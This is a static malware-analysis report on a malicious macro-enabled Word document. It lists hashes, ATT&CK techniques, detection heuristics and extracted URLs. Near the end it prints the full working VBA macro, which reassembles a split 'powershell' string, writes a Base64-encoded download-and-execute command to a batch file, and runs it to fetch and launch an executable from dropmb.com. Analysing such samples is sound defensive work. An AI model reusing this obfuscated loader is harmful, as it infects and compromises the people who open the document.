Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 6e0ae11827755822…

MALICIOUS

Office (OOXML)

15.7 KB Created: 2021-10-14 18:38:00 UTC Authoring application: Microsoft Office Word 16.0000 First seen: 2021-10-27
MD5: 2b32d617f5aa090d7099404f61074e43 SHA-1: d4b6041faa5c9515d9a16a951d19c24fd1fed4ad SHA-256: 6e0ae118277558228e7ca8f886abeb3dfd0639050b520dc8e8daf9ade366fca4
142 Risk Score

Malware Insights

MITRE ATT&CK
T1059.001 PowerShell T1059.005 Visual Basic T1204.002 Malicious File

The sample contains VBA macros that utilize obfuscation techniques to hide a call to PowerShell. The PowerShell command is Base64 encoded and, when decoded, it downloads an executable from 'http://dropmb.com/files/4e0c04568552c0c2eaf31e6275f6a90.exe' and executes it. The VBA macro also creates and executes a batch file named 'Nphbctwq.bat' to launch the PowerShell command.

Heuristics 4

  • VBA project inside OOXML medium 2 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • Shell() call in VBA critical OLE_VBA_SHELL
    Shell() call in VBA
  • Dangerous API name reassembled from split string literals critical OLE_VBA_SPLIT_KEYWORD_OBFUSCATION
    VBA concatenates short string literals that reassemble a dangerous API/ProgID/LOLBin name (e.g. Scripting.FileSystemObject, WScript.Shell, powershell, URLDownloadToFile) which appears in no single literal. Splitting an API name across string concatenation is done only to evade keyword scanning.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.microsoft.com/office/word/2010/wordprocessingCanvas In document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2014/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2015/9/8/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2015/10/21/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/9/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/10/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/11/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/12/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/13/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/14/chartexIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/markup-compatibility/2006In document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/inkIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2017/model3dIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/relationshipsIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/mathIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/wordprocessingml/2006/mainIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2012/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2018/wordml/cexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2016/wordml/cidIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2018/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2020/wordml/sdtdatahashIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2015/wordml/symexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingGroupIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingInkIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2006/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingShapeIn document text (OOXML body / shared strings)

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 1102 bytes
SHA-256: 31a6d5e7236a54d3593e825a347ac841b4b1318d59aef3f4f2131597fd0afcc6
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "Module1"


Private Sub Workbook_Activate()
On Error Resume Next
Dim i As Double
Dim batch As String
Dim call1 As String
Dim s As String
s = s + "start /MIN C:\Windo"
s = s + "ws\System32\" + "Wind" + "owsPo" + "werShe" + "ll\v1.0\pow" + "ersh" + "ell.exe"
s = s + " -win " + "1 -enc"
s = s + " "

s = s + "JFByb2NOYW1lID0gIk92am53YnRxbHhvdHNhbHh2amdmLmV4ZSI7KE5ldy1PYmplY3QgU3lzdGVtLk5ldC5XZWJ"
s = s + "DbGllbnQpLkRvd25sb2FkRmlsZSgiaHR0cHM6Ly9kcm9wbWIuY29tL2ZpbGVzLzRlMGMwNDU2ODU1MmMwYzJlYW"
s = s + "FmMzFlNjI3NWY2YTkwLmV4ZSIsIiRlbnY6QVBQREFUQVwkUHJvY05hbWUiKTtTdGFydC1Qcm9jZXNzICgiJGVud"
s = s + "jpBUFBEQVRBXCRQcm9jTmFtZSIpCg=="

ActiveWorkbook.Save
batch = "Nphbctwq.bat"
Open batch For Output As #1
    Print #1, s
    Close #1
    i = Shell(batch, 0)

End Sub
vbaProject_00.bin vba-project OOXML VBA project: word/vbaProject.bin 10752 bytes
SHA-256: b183fb61b73acc178a26934c9fe62f34a09a77c1c6c0d5afcfc8b79d5c97cd4d

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